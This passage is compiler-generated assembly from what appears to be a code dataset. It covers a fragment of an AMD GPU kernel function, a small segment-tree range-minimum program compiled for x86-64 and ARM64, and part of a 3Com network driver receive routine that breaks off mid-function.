_INSTANCE_BROADCAST_WRITES@GOTPAGEOFF] Lloh11: ldr w2, [x8] mov w0, #0 mov w3, #1 bl _REG_SET_FIELD ldr w1, [x20] Lloh12: adrp x8, _SA_BROADCAST_WRITES@GOTPAGE Lloh13: ldr x8, [x8, _SA_BROADCAST_WRITES@GOTPAGEOFF] Lloh14: ldr w2, [x8] mov w3, #1 bl _REG_SET_FIELD ldr w1, [x20] Lloh15: adrp x8, _SE_BROADCAST_WRITES@GOTPAGE Lloh16: ldr x8, [x8, _SE_BROADCAST_WRITES@GOTPAGEOFF] Lloh17: ldr w2, [x8] mov w3, #1 bl _REG_SET_FIELD mov x20, x0 ldr w0, [x22] ldr w2, [x23] mov w1, #0 bl _SOC15_REG_OFFSET mov x1, x20 bl _WREG32 mov x0, x19 bl _mutex_unlock mov w0, #0 ldp x29, x30, [sp, #48] ; 16-byte Folded Reload ldp x20, x19, [sp, #32] ; 16-byte Folded Reload ldp x22, x21, [sp, #16] ; 16-byte Folded Reload ldp x24, x23, [sp], #64 ; 16-byte Folded Reload ret .loh AdrpLdrGotLdr Lloh15, Lloh16, Lloh17 .loh AdrpLdrGotLdr Lloh12, Lloh13, Lloh14 .loh AdrpLdrGotLdr Lloh9, Lloh10, Lloh11 .loh AdrpLdrGot Lloh7, Lloh8 .loh AdrpLdrGotLdr Lloh4, Lloh5, Lloh6 .loh AdrpLdrGot Lloh2, Lloh3 .loh AdrpLdrGot Lloh0, Lloh1 .cfi_endproc ; -- End function .comm _GC,4,2 ; @GC .comm _mmGRBM_GFX_INDEX,4,2 ; @mmGRBM_GFX_INDEX .comm _mmSQ_CMD,4,2 ; @mmSQ_CMD .comm _GRBM_GFX_INDEX,4,2 ; @GRBM_GFX_INDEX .comm _INSTANCE_BROADCAST_WRITES,4,2 ; @INSTANCE_BROADCAST_WRITES .comm _SA_BROADCAST_WRITES,4,2 ; @SA_BROADCAST_WRITES .comm _SE_BROADCAST_WRITES,4,2 ; @SE_BROADCAST_WRITES .no_dead_strip _kgd_wave_control_execute .subsections_via_symbols
AnghaBench/linux/drivers/gpu/drm/amd/amdgpu/extr_amdgpu_amdkfd_gfx_v10.c_kgd_wave_control_execute.c
anghabench
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ## -- Begin function main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r14 pushq %rbx subq $48, %rsp .cfi_offset %rbx, -32 .cfi_offset %r14, -24 movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq %rax, -24(%rbp) movq l___const.main.a+16(%rip), %rax movq %rax, -32(%rbp) movaps l___const.main.a(%rip), %xmm0 movaps %xmm0, -48(%rbp) movq $0, -64(%rbp) leaq L_.str(%rip), %rbx movq %rbx, %rdi movl $2, %esi xorl %eax, %eax callq _printf movq %rbx, %rdi movl $5, %esi xorl %eax, %eax callq _printf movq %rbx, %rdi movl $1, %esi xorl %eax, %eax callq _printf movq %rbx, %rdi movl $4, %esi xorl %eax, %eax callq _printf movq %rbx, %rdi movl $9, %esi xorl %eax, %eax callq _printf movq %rbx, %rdi movl $3, %esi xorl %eax, %eax callq _printf movl $10, %edi callq _putchar leaq -64(%rbp), %rdi leaq -48(%rbp), %rsi xorl %edx, %edx movl $5, %ecx callq _create leaq L_.str.2(%rip), %rdi xorl %eax, %eax callq _printf movq -64(%rbp), %rbx movq %rbx, %rdi callq _inorder movl $10, %edi callq _putchar leaq L_.str.3(%rip), %rdi xorl %eax, %eax callq _printf movq %rbx, %rdi callq _preorder leaq L_str(%rip), %rdi callq _puts leaq L_str.10(%rip), %rdi callq _puts leaq L_.str.6(%rip), %rdi xorl %eax, %eax callq _printf leaq L_.str.7(%rip), %r14 leaq -56(%rbp), %rsi movq %r14, %rdi xorl %eax, %eax callq _scanf leaq L_.str.8(%rip), %rdi xorl %eax, %eax callq _printf leaq -52(%rbp), %rsi movq %r14, %rdi xorl %eax, %eax callq _scanf movl -56(%rbp), %ecx movl -52(%rbp), %r8d movq %rbx, %rdi xorl %esi, %esi movl $5, %edx callq _sub_min leaq L_.str.9(%rip), %rdi movl %eax, %esi xorl %eax, %eax callq _printf movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax cmpq -24(%rbp), %rax jne LBB0_2 ## %bb.1: xorl %eax, %eax addq $48, %rsp popq %rbx popq %r14 popq %rbp retq LBB0_2: callq ___stack_chk_fail .cfi_endproc ## -- End function .globl _create ## -- Begin function create .p2align 4, 0x90 _create: ## @create .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx pushq %rax .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movl %ecx, %r13d movl %edx, %r12d movq %rsi, %r14 movq %rdi, %r15 cmpl %ecx, %edx jge LBB1_2 ## %bb.1: leal (%r12,%r13), %eax movl %eax, %ebx shrl $31, %ebx addl %eax, %ebx sarl %ebx movl $24, %edi callq _malloc movq %rax, (%r15) movq $0, 16(%rax) movq $0, (%rax) movq %rax, %rdi movq %r14, %rsi movl %r12d, %edx movl %ebx, %ecx callq _create movq (%r15), %rdi addq $16, %rdi incl %ebx movq %r14, %rsi movl %ebx, %edx movl %r13d, %ecx callq _create LBB1_2: cmpl %r13d, %r12d jne LBB1_4 ## %bb.3: movl $24, %edi callq _malloc movq %rax, (%r15) movslq %r12d, %rcx movl (%r14,%rcx,4), %ecx movl %ecx, 8(%rax) movq $0, 16(%rax) movq $0, (%rax) jmp LBB1_7 LBB1_4: movq (%r15), %rax movq (%rax), %rcx testq %rcx, %rcx je LBB1_7 ## %bb.5: movq 16(%rax), %rdx testq %rdx, %rdx je LBB1_7 ## %bb.6: movl 8(%rcx), %ecx movl 8(%rdx), %edx cmpl %edx, %ecx cmovll %ecx, %edx movl %edx, 8(%rax) LBB1_7: addq $8, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq .cfi_endproc ## -- End function .globl _inorder ## -- Begin function inorder .p2align 4, 0x90 _inorder: ## @inorder .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r14 pushq %rbx .cfi_offset %rbx, -32 .cfi_offset %r14, -24 testq %rdi, %rdi je LBB2_3 ## %bb.1: movq %rdi, %rbx leaq L_.str(%rip), %r14 .p2align 4, 0x90 LBB2_2: ## =>This Inner Loop Header: Depth=1 movq (%rbx), %rdi callq _inorder movl 8(%rbx), %esi movq %r14, %rdi xorl %eax, %eax callq _printf movq 16(%rbx), %rbx testq %rbx, %rbx jne LBB2_2 LBB2_3: popq %rbx popq %r14 popq %rbp retq .cfi_endproc ## -- End function .globl _preorder ## -- Begin function preorder .p2align 4, 0x90 _preorder: ## @preorder .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r14 pushq %rbx .cfi_offset %rbx, -32 .cfi_offset %r14, -24 testq %rdi, %rdi je LBB3_3 ## %bb.1: movq %rdi, %rbx leaq L_.str(%rip), %r14 .p2align 4, 0x90 LBB3_2: ## =>This Inner Loop Header: Depth=1 movl 8(%rbx), %esi movq %r14, %rdi xorl %eax, %eax callq _printf movq (%rbx), %rdi callq _preorder movq 16(%rbx), %rbx testq %rbx, %rbx jne LBB3_2 LBB3_3: popq %rbx popq %r14 popq %rbp retq .cfi_endproc ## -- End function .globl _sub_min ## -- Begin function sub_min .p2align 4, 0x90 _sub_min: ## @sub_min .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx pushq %rax .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movl %r8d, %r14d movl %ecx, %r13d movl %edx, %r15d ## kill: def $esi killed $esi def $rsi movq %rdi, %r12 cmpl %esi, %ecx jg LBB4_3 ## %bb.1: cmpl %r15d, %r14d jl LBB4_3 ## %bb.2: movl 8(%r12), %eax jmp LBB4_6 LBB4_3: movl $2147483647, %eax ## imm = 0x7FFFFFFF cmpl %r13d, %r15d jl LBB4_6 ## %bb.4: cmpl %r14d, %esi jg LBB4_6 ## %bb.5: leal (%r15,%rsi), %eax movl %eax, %ebx shrl $31, %ebx addl %eax, %ebx sarl %ebx movq (%r12), %rdi ## kill: def $esi killed $esi killed $rsi movl %ebx, %edx movl %r13d, %ecx movl %r14d, %r8d callq _sub_min movl %eax, -44(%rbp) ## 4-byte Spill movq 16(%r12), %rdi incl %ebx movl %ebx, %esi movl %r15d, %edx movl %r13d, %ecx movl %r14d, %r8d callq _sub_min movl -44(%rbp), %ecx ## 4-byte Reload cmpl %eax, %ecx cmovll %ecx, %eax LBB4_6: addq $8, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq .cfi_endproc ## -- End function .section __TEXT,__const .p2align 4 ## @__const.main.a l___const.main.a: .long 2 ## 0x2 .long 5 ## 0x5 .long 1 ## 0x1 .long 4 ## 0x4 .long 9 ## 0x9 .long 3 ## 0x3 .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz " %d" L_.str.2: ## @.str.2 .asciz " Inorder: " L_.str.3: ## @.str.3 .asciz "Preorder: " L_.str.6: ## @.str.6 .asciz "Enter start of subsequence: " L_.str.7: ## @.str.7 .asciz "%d" L_.str.8: ## @.str.8 .asciz "Enter end of subsequence: " L_.str.9: ## @.str.9 .asciz "\nMinimum = %d\n\n" L_str: ## @str .asciz "\n" L_str.10: ## @str.10 .asciz "Enter Subsequence:-" .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: sub sp, sp, #96 .cfi_def_cfa_offset 96 stp x20, x19, [sp, #64] ; 16-byte Folded Spill stp x29, x30, [sp, #80] ; 16-byte Folded Spill add x29, sp, #80 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 Lloh0: adrp x8, ___stack_chk_guard@GOTPAGE Lloh1: ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] Lloh2: ldr x8, [x8] Lloh3: adrp x9, l___const.main.a@PAGE Lloh4: add x9, x9, l___const.main.a@PAGEOFF stur x8, [x29, #-24] ldr q0, [x9] str q0, [sp, #32] ldr x8, [x9, #16] str x8, [sp, #48] str xzr, [sp, #16] mov w8, #2 str x8, [sp] Lloh5: adrp x19, l_.str@PAGE Lloh6: add x19, x19, l_.str@PAGEOFF mov x0, x19 bl _printf mov w8, #5 str x8, [sp] mov x0, x19 bl _printf mov w8, #1 str x8, [sp] mov x0, x19 bl _printf mov w8, #4 str x8, [sp] mov x0, x19 bl _printf mov w8, #9 str x8, [sp] mov x0, x19 bl _printf mov w8, #3 str x8, [sp] mov x0, x19 bl _printf mov w0, #10 bl _putchar add x0, sp, #16 add x1, sp, #32 mov w2, #0 mov w3, #5 bl _create Lloh7: adrp x0, l_.str.2@PAGE Lloh8: add x0, x0, l_.str.2@PAGEOFF bl _printf ldr x19, [sp, #16] mov x0, x19 bl _inorder mov w0, #10 bl _putchar Lloh9: adrp x0, l_.str.3@PAGE Lloh10: add x0, x0, l_.str.3@PAGEOFF bl _printf mov x0, x19 bl _preorder Lloh11: adrp x0, l_str@PAGE Lloh12: add x0, x0, l_str@PAGEOFF bl _puts Lloh13: adrp x0, l_str.10@PAGE Lloh14: add x0, x0, l_str.10@PAGEOFF bl _puts Lloh15: adrp x0, l_.str.6@PAGE Lloh16: add x0, x0, l_.str.6@PAGEOFF bl _printf add x8, sp, #28 str x8, [sp] Lloh17: adrp x20, l_.str.7@PAGE Lloh18: add x20, x20, l_.str.7@PAGEOFF mov x0, x20 bl _scanf Lloh19: adrp x0, l_.str.8@PAGE Lloh20: add x0, x0, l_.str.8@PAGEOFF bl _printf add x8, sp, #24 str x8, [sp] mov x0, x20 bl _scanf ldp w4, w3, [sp, #24] mov x0, x19 mov w1, #0 mov w2, #5 bl _sub_min ; kill: def $w0 killed $w0 def $x0 str x0, [sp] Lloh21: adrp x0, l_.str.9@PAGE Lloh22: add x0, x0, l_.str.9@PAGEOFF bl _printf ldur x8, [x29, #-24] Lloh23: adrp x9, ___stack_chk_guard@GOTPAGE Lloh24: ldr x9, [x9, ___stack_chk_guard@GOTPAGEOFF] Lloh25: ldr x9, [x9] cmp x9, x8 b.ne LBB0_2 ; %bb.1: mov w0, #0 ldp x29, x30, [sp, #80] ; 16-byte Folded Reload ldp x20, x19, [sp, #64] ; 16-byte Folded Reload add sp, sp, #96 ret LBB0_2: bl ___stack_chk_fail .loh AdrpLdrGotLdr Lloh23, Lloh24, Lloh25 .loh AdrpAdd Lloh21, Lloh22 .loh AdrpAdd Lloh19, Lloh20 .loh AdrpAdd Lloh17, Lloh18 .loh AdrpAdd Lloh15, Lloh16 .loh AdrpAdd Lloh13, Lloh14 .loh AdrpAdd Lloh11, Lloh12 .loh AdrpAdd Lloh9, Lloh10 .loh AdrpAdd Lloh7, Lloh8 .loh AdrpAdd Lloh5, Lloh6 .loh AdrpAdd Lloh3, Lloh4 .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .cfi_endproc ; -- End function .globl _create ; -- Begin function create .p2align 2 _create: ; @create .cfi_startproc ; %bb.0: stp x24, x23, [sp, #-64]! ; 16-byte Folded Spill .cfi_def_cfa_offset 64 stp x22, x21, [sp, #16] ; 16-byte Folded Spill stp x20, x19, [sp, #32] ; 16-byte Folded Spill stp x29, x30, [sp, #48] ; 16-byte Folded Spill add x29, sp, #48 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 mov x22, x3 mov x19, x2 mov x20, x1 mov x21, x0 cmp w2, w3 b.ge LBB1_2 ; %bb.1: add w8, w22, w19 cmp w8, #0 cinc w8, w8, lt asr w23, w8, #1 mov w0, #24 bl _malloc str x0, [x21] str xzr, [x0, #16] str xzr, [x0] mov x1, x20 mov x2, x19 mov x3, x23 bl _create ldr x8, [x21] add x0, x8, #16 add w2, w23, #1 mov x1, x20 mov x3, x22 bl _create LBB1_2: cmp w19, w22 b.ne LBB1_4 ; %bb.3: mov w0, #24 bl _malloc str x0, [x21] ldr w8, [x20, w19, sxtw #2] str w8, [x0, #8] str xzr, [x0, #16] str xzr, [x0] b LBB1_7 LBB1_4: ldr x8, [x21] ldr x9, [x8] cbz x9, LBB1_7 ; %bb.5: ldr x10, [x8, #16] cbz x10, LBB1_7 ; %bb.6: ldr w9, [x9, #8] ldr w10, [x10, #8] cmp w9, w10 csel w9, w9, w10, lt str w9, [x8, #8] LBB1_7: ldp x29, x30, [sp, #48] ; 16-byte Folded Reload ldp x20, x19, [sp, #32] ; 16-byte Folded Reload ldp x22, x21, [sp, #16] ; 16-byte Folded Reload ldp x24, x23, [sp], #64 ; 16-byte Folded Reload ret .cfi_endproc ; -- End function .globl _inorder ; -- Begin function inorder .p2align 2 _inorder: ; @inorder .cfi_startproc ; %bb.0: sub sp, sp, #48 .cfi_def_cfa_offset 48 stp x20, x19, [sp, #16] ; 16-byte Folded Spill stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 cbz x0, LBB2_3 ; %bb.1: mov x19, x0 Lloh26: adrp x20, l_.str@PAGE Lloh27: add x20, x20, l_.str@PAGEOFF LBB2_2: ; =>This Inner Loop Header: Depth=1 ldr x0, [x19] bl _inorder ldr w8, [x19, #8] str x8, [sp] mov x0, x20 bl _printf ldr x19, [x19, #16] cbnz x19, LBB2_2 LBB2_3: ldp x29, x30, [sp, #32] ; 16-byte Folded Reload ldp x20, x19, [sp, #16] ; 16-byte Folded Reload add sp, sp, #48 ret .loh AdrpAdd Lloh26, Lloh27 .cfi_endproc ; -- End function .globl _preorder ; -- Begin function preorder .p2align 2 _preorder: ; @preorder .cfi_startproc ; %bb.0: sub sp, sp, #48 .cfi_def_cfa_offset 48 stp x20, x19, [sp, #16] ; 16-byte Folded Spill stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 cbz x0, LBB3_3 ; %bb.1: mov x19, x0 Lloh28: adrp x20, l_.str@PAGE Lloh29: add x20, x20, l_.str@PAGEOFF LBB3_2: ; =>This Inner Loop Header: Depth=1 ldr w8, [x19, #8] str x8, [sp] mov x0, x20 bl _printf ldr x0, [x19] bl _preorder ldr x19, [x19, #16] cbnz x19, LBB3_2 LBB3_3: ldp x29, x30, [sp, #32] ; 16-byte Folded Reload ldp x20, x19, [sp, #16] ; 16-byte Folded Reload add sp, sp, #48 ret .loh AdrpAdd Lloh28, Lloh29 .cfi_endproc ; -- End function .globl _sub_min ; -- Begin function sub_min .p2align 2 _sub_min: ; @sub_min .cfi_startproc ; %bb.0: stp x24, x23, [sp, #-64]! ; 16-byte Folded Spill .cfi_def_cfa_offset 64 stp x22, x21, [sp, #16] ; 16-byte Folded Spill stp x20, x19, [sp, #32] ; 16-byte Folded Spill stp x29, x30, [sp, #48] ; 16-byte Folded Spill add x29, sp, #48 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 mov x19, x4 mov x20, x3 mov x21, x2 mov x22, x0 add w8, w2, w1 cmp w8, #0 cinc w8, w8, lt cmp w3, w1 b.gt LBB4_3 ; %bb.1: cmp w19, w21 b.lt LBB4_3 ; %bb.2: ldr w0, [x22, #8] b LBB4_6 LBB4_3: mov w0, #2147483647 cmp w21, w20 b.lt LBB4_6 ; %bb.4: cmp w1, w19 b.gt LBB4_6 ; %bb.5: asr w23, w8, #1 ldr x0, [x22] mov x2, x23 mov x3, x20 mov x4, x19 bl _sub_min mov x24, x0 ldr x0, [x22, #16] add w1, w23, #1 mov x2, x21 mov x3, x20 mov x4, x19 bl _sub_min cmp w24, w0 csel w0, w24, w0, lt LBB4_6: ldp x29, x30, [sp, #48] ; 16-byte Folded Reload ldp x20, x19, [sp, #32] ; 16-byte Folded Reload ldp x22, x21, [sp, #16] ; 16-byte Folded Reload ldp x24, x23, [sp], #64 ; 16-byte Folded Reload ret .cfi_endproc ; -- End function .section __TEXT,__const .p2align 2 ; @__const.main.a l___const.main.a: .long 2 ; 0x2 .long 5 ; 0x5 .long 1 ; 0x1 .long 4 ; 0x4 .long 9 ; 0x9 .long 3 ; 0x3 .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz " %d" l_.str.2: ; @.str.2 .asciz " Inorder: " l_.str.3: ; @.str.3 .asciz "Preorder: " l_.str.6: ; @.str.6 .asciz "Enter start of subsequence: " l_.str.7: ; @.str.7 .asciz "%d" l_.str.8: ; @.str.8 .asciz "Enter end of subsequence: " l_.str.9: ; @.str.9 .asciz "\nMinimum = %d\n\n" l_str: ; @str .asciz "\n" l_str.10: ; @str.10 .asciz "Enter Subsequence:-" .subsections_via_symbols
the_stack_data/89199273.c
stack
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function el3_rx _el3_rx: ## @el3_rx .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx pushq %rax .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movl %esi, %r13d movq %rdi, %r14 movl (%rdi), %ebx movswl 4(%rdi), %eax movl %eax, -48(%rbp) ## 4-byte Spill movq _EL3_STATUS@GOTPCREL(%rip), %rax movq (%rax), %rdi addq %rbx, %rdi callq _inw movl %eax, %r12d movq _RxStatus@GOTPCREL(%rip), %r15 movq (%r15), %rdi addq %rbx, %rdi callq _inw movswl %ax, %r8d movswl %r12w, %ecx leaq L_.str(%rip), %rsi movl $3, %edi movl -48(%rbp), %edx ## 4-byte Reload xorl %eax, %eax callq _DEBUG movq (%r15), %rdi movq %rbx, -48(%rbp) ## 8-byte Spill addq %rbx, %rdi callq _inw movzwl %ax, %ecx testl $32768, %ecx ## imm = 0x8000 jne LBB0_19 ## %bb.1: testl %r13d, %r13d jle LBB0_19 ## %bb.2: movl %eax, %ebx movq _RxDiscard@GOTPCREL(%rip), %r15 .p2align 4, 0x90 LBB0_3: ## =>This Inner Loop Header: Depth=1 testl $16384, %ecx ## imm = 0x4000 jne LBB0_6 ## %bb.4: ## in Loop: Header=BB0_3 Depth=1 movl %ebx, %r15d andl $2047, %r15d ## imm = 0x7FF leal 5(%r15), %edi callq _dev_alloc_skb movq %rax, %r12 movswl %bx, %ecx movl $3, %edi leaq L_.str.1(%rip), %rsi movl %r15d, %edx xorl %eax, %eax callq _DEBUG movzwl %r15w, %r15d testq %r12, %r12 je LBB0_9 ## %bb.5: ## in Loop: Header=BB0_3 Depth=1 movq %r12, %rdi movl $2, %esi callq _skb_reserve movq _RX_FIFO@GOTPCREL(%rip), %rax movq (%rax), %rbx addq -48(%rbp), %rbx ## 8-byte Folded Reload movq %r12, %rdi movl %r15d, %esi callq _skb_put leal 3(%r15), %edx shrl $2, %edx movq %rbx, %rdi movl %eax, %esi callq _insl movq %r12, %rdi movq %r14, %rsi callq _eth_type_trans movl %eax, (%r12) movq %r12, %rdi callq _netif_rx incl 16(%r14) addw %r15w, 8(%r14) jmp LBB0_10 .p2align 4, 0x90 LBB0_6: ## in Loop: Header=BB0_3 Depth=1 incl 36(%r14) shrl $11, %ebx andl $7, %ebx cmpw $5, %bx ja LBB0_11 ## %bb.7: ## in Loop: Header=BB0_3 Depth=1 leaq LJTI0_0(%rip), %rcx movslq (%rcx,%rbx,4), %rax addq %rcx, %rax jmpq *%rax LBB0_13: ## in Loop: Header=BB0_3 Depth=1 incl 28(%r14) jmp LBB0_11 LBB0_9: ## in Loop: Header=BB0_3 Depth=1 movswl 4(%r14), %edx movl $1, %edi leaq L_.str.2(%rip), %rsi movl %r15d, %ecx xorl %eax, %eax callq _DEBUG incl 12(%r14) LBB0_10: ## in Loop: Header=BB0_3 Depth=1 movq _RxDiscard@GOTPCREL(%rip), %r15 jmp LBB0_11 LBB0_14: ## in Loop: Header=BB0_3 Depth=1 incl 24(%r14) jmp LBB0_11 LBB0_8: ## in Loop: Header=BB0_3 Depth=1 incl 32(%r14) jmp LBB0_11 LBB0_17: ## in Loop: Header=BB0_3 Depth=1 incl 20(%r14) .p2align 4, 0x90 LBB0_11: ## in Loop: Header=BB0_3 Depth=1 movl (%r15), %esi movq %r14, %rdi callq _tc574_wait_for_completion movq _RxStatus@GOTPCREL(%rip), %rax movq (%rax), %rdi addq -48(%rbp), %rdi ## 8-byte Folded Reload callq _inw movl %eax, %ebx movzwl %ax, %ecx leal -1(%r13), %eax testl $32768, %ecx ## imm = 0x8000 jne LBB0_20 ## %bb.12: ## in Loop: Header=BB0_3 Depth=1 cmpl $1, %r13d movl %eax, %r13d ja LBB0_3 jmp LBB0_20 LBB0_19: movl %r13d, %eax LBB0_20: addq $8, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq .cfi_endproc .p2align 2, 0x90 .data_region jt32 .set L0_0_set_8, LBB0_8-LJTI0_0 .set L0_0_set_13, LBB0_13-LJTI0_0 .set L0_0_set_14, LBB0_14-LJTI0_0 .set L0_0_set_17, LBB0_17-LJTI0_0 LJTI0_0: .long L0_0_set_8 .long L0_0_set_13 .long L0_0_set_14 .long L0_0_set_13 .long L0_0_set_14 .long L0_0_set_17 .end_data_region ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "%s: in rx_packet(), status %4.4x, rx_status %4.4x.\n" .comm _EL3_STATUS,8,3 ## @EL3_STATUS .comm _RxStatus,8,3 ## @RxStatus L_.str.1: ## @.str.1 .asciz " Receiving packet size %d status %4.4x.\n" .comm _RX_FIFO,8,3 ## @RX_FIFO L_.str.2: ## @.str.2 .asciz "%s: couldn't allocate a sk_buff of size %d.\n" .comm _RxDiscard,4,2 ## @RxDiscard .no_dead_strip _el3_rx .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function el3_rx _el3_rx: ; @el3_rx .cfi_startproc ; %bb.0: sub sp, sp, #112 .cfi_def_cfa_offset 112 stp x28, x27, [sp, #16] ; 16-byte Folded Spill stp x26, x25, [sp, #32] ; 16-byte Folded Spill stp x24, x23, [sp, #48] ; 16-byte Folded Spill stp x22, x21, [sp, #64] ; 16-byte Folded Spill stp x20, x19, [sp, #80] ; 16-byte Folded Spill stp x29, x30, [sp, #96] ; 16-byte Folded Spill add x29, sp, #96 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 .cfi_offset w25, -72 .cfi_offset w26, -80 .cfi_offset w27, -88 .cfi_offset w28, -96 mov x19, x1 mov x20, x0 ldr w26, [x0] ldrsh w21, [x0, #4] Lloh0: adrp x8, _EL3_STATUS@GOTPAGE Lloh1: ldr x8, [x8, _EL3_STATUS@GOTPAGEOFF] Lloh2: ldr x8, [x8] add x0, x8, x26 bl _inw mov x22, x0 Lloh3: adrp x27, _RxStatus@GOTPAGE Lloh4: ldr x27, [x27, _RxStatus@GOTPAGEOFF] ldr x8, [x27] add x0, x8, x26 bl _inw ; kill: def $w0 killed $w0 def $x0 sxtw x8, w0 str x8, [sp] Lloh5: adrp x1, l_.str@PAGE Lloh6: add x1, x1, l_.str@PAGEOFF mov w0, #3 mov x2, x21 mov x3, x22 bl _DEBUG ldr x8, [x27] add x0, x8, x26 bl _inw tbnz w0, #15, LBB0_15 ; %bb.1: cmp w19, #1 b.lt LBB0_15 ; %bb.2: mov x24, x0 and w8, w0, #0xffff Lloh7: adrp x21, l_.str.1@PAGE Lloh8: add x21, x21, l_.str.1@PAGEOFF Lloh9: adrp x22, _RxDiscard@GOTPAGE Lloh10: ldr x22, [x22, _RxDiscard@GOTPAGEOFF] Lloh11: adrp x28, lJTI0_0@PAGE Lloh12: add x28, x28, lJTI0_0@PAGEOFF LBB0_3: ; =>This Inner Loop Header: Depth=1 tbnz w8, #14, LBB0_6 ; %bb.4: ; in Loop: Header=BB0_3 Depth=1 and w23, w24, #0x7ff add w0, w23, #5 bl _dev_alloc_skb mov x25, x0 sxth w3, w24 mov w0, #3 mov x1, x21 mov x2, x23 bl _DEBUG cbz x25, LBB0_9 ; %bb.5: ; in Loop: Header=BB0_3 Depth=1 mov x0, x25 mov w1, #2 bl _skb_reserve Lloh13: adrp x8, _RX_FIFO@GOTPAGE Lloh14: ldr x8, [x8, _RX_FIFO@GOTPAGEOFF] Lloh15: ldr x8, [x8] add x24, x8, x26 mov x0, x25 mov x1, x23 bl _skb_put mov x1, x0 add w8, w23, #3 lsr w2, w8, #2 mov x0, x24 bl _insl mov x0, x25 mov x1, x20 bl _eth_type_trans str w0, [x25] mov x0, x25 bl _netif_rx ldr w8, [x20, #16] add w8, w8, #1 str w8, [x20, #16] ldrh w8, [x20, #8] add w8, w8, w23 strh w8, [x20, #8] b LBB0_13 LBB0_6: ; in Loop: Header=BB0_3 Depth=1 ldr w8, [x20, #36] add w8, w8, #1 str w8, [x20, #36] ubfx w8, w24, #11, #3 cmp w8, #5 b.hi LBB0_13 ; %bb.7: ; in Loop: Header=BB0_3 Depth=1 adr x9, LBB0_8 ldrb w10, [x28, x8] add x9, x9, x10, lsl #2 br x9 LBB0_8: ; in Loop: Header=BB0_3 Depth=1 ldr w8, [x20, #28] add w8, w8, #1 str w8, [x20, #28] b LBB0_13 LBB0_9: ; in Loop: Header=BB0_3 Depth=1 ldrsh w2, [x20, #4] mov w0, #1 Lloh16: adrp x1, l_.str.2@PAGE Lloh17: add x1, x1, l_.str.2@PAGEOFF mov x3, x23 bl _DEBUG ldr w8, [x20, #12] add w8, w8, #1 str w8, [x20, #12] b LBB0_13 LBB0_10: ; in Loop: Header=BB0_3 Depth=1 ldr w8, [x20, #24] add w8, w8, #1 str w8, [x20, #24] b LBB0_13 LBB0_11: ; in Loop: Header=BB0_3 Depth=1 ldr w8, [x20, #32] add w8, w8, #1 str w8, [x20, #32] b LBB0_13 LBB0_12: ; in Loop: Header=BB0_3 Depth=1 ldr w8, [x20, #20] add w8, w8, #1 str w8, [x20, #20] LBB0_13: ; in Loop: 